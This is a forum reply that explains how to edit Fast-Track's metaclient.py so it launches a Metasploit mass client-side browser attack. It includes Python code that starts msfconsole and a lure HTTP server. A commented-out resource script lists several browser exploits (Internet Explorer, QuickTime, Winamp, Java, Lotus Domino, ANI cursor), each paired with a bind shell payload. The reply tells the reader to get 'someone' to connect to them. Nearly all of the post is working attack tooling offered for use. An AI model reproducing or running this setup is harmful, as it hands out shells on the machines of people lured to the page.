Yes you can... you have to change a few things around in the source... here is how i did it...
open the metaclient.py and replace it with this code... you can find the file in this directory /pentest/fast-track/bin/ftsrc
Code:
import pexpect,sys,os
try:
import psyco
psyco.full()
except ImportError:
pass
# Start mass client attack
try:
import re
metapath=file("%s/bin/setup/metasploitconfig.file" % (definepath)).readlines()
for line in metapath:
metapath=line.rstrip()
except Exception:
print "Metasploit path not defined, you should run setup.py,\nusing the default for now..."
metapath="/pentest/exploits/framework3/"
try:
#define IP Addr to echo into index.html
ipaddr=sys.argv[3]
definepath=os.getcwd()
print "Setting up Metasploit MSFConsole with various exploits..."
#prepfile=file("metasploitloadfile","w")
#prepfile.write("use exploit/windows/browser/ie_createobject\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8001\nset URIPATH /\nexploit\nuse exploit/osx/browser/software_update\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8002\nset URIPATH /\nexploit\nuse exploit/windows/browser/apple_quicktime_rtsp\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8003\nset URIPATH /\nexploit\nuse exploit/windows/browser/winamp_playlist_unc\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8007\nset URIPATH /\nexploit\nuse exploit/multi/browser/qtjava_pointer\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8005\nset URIPATH /\nset TARGET 0\nexploit\nuse exploit/multi/browser/qtjava_pointer\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8006\nset URIPATH /\nset TARGET 1\nexploit\nuse exploit/multi/browser/qtjava_pointer\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8008\nset URIPATH /\nset TARGET 2\nexploit\nuse exploit/windows/browser/ibmlotusdomino_dwa_uploadmodule\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8009\nset URIPATH /\nexploit\nuse exploit/windows/browser/ani_loadimage_chunksize\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8000\nset URIPATH /\nexploit\n")
#prepfile.close()
print "If an exploit succeeds, type sessions -l to list shells and sessions -i <id>\nto interact...\n\n"
print "Have someone connect to you on port 80...\n"
print "Launching MSFConsole and Exploits...\n"
print "Once you see the Metasploit Console launch all the exploits have someone\nconnect to you.."
definepath=os.getcwd()
launchsploit=os.popen2("""xterm -geometry 100x300x450x500 -T "Fast-Track Metasploit Mass Client Attack" -e "%smsfconsole -r %s/metasploitloadfile" 2> /dev/null""" % (metapath,definepath))
launchhttpserver=os.popen2("""xterm -geometry 100x50 -T "Fast-Track Metasploit Custom HTTP Server" -e "python %s/bin/ftsrc/metahttpserver.py %s" 2> /dev/null""" % (definepath,ipaddr))
pause=raw_input("Press enter to end the Mass Client Attack...")
except KeyboardInterrupt:
print "\n\nExiting Metasploit Mass Client Attack...\n\n"
delfile=os.popen3("del metasploitloadfile")
except Exception:
print "\n\nExiting Metasploit Mass Client Attack...\n\n"
delfile=os.popen3("del metasploitloadfile")
now you need to open the metasploitloadfile located here /pentest/fast-track.... make your changes and save the file
If you know how to use the metasploit console then the rest is up to you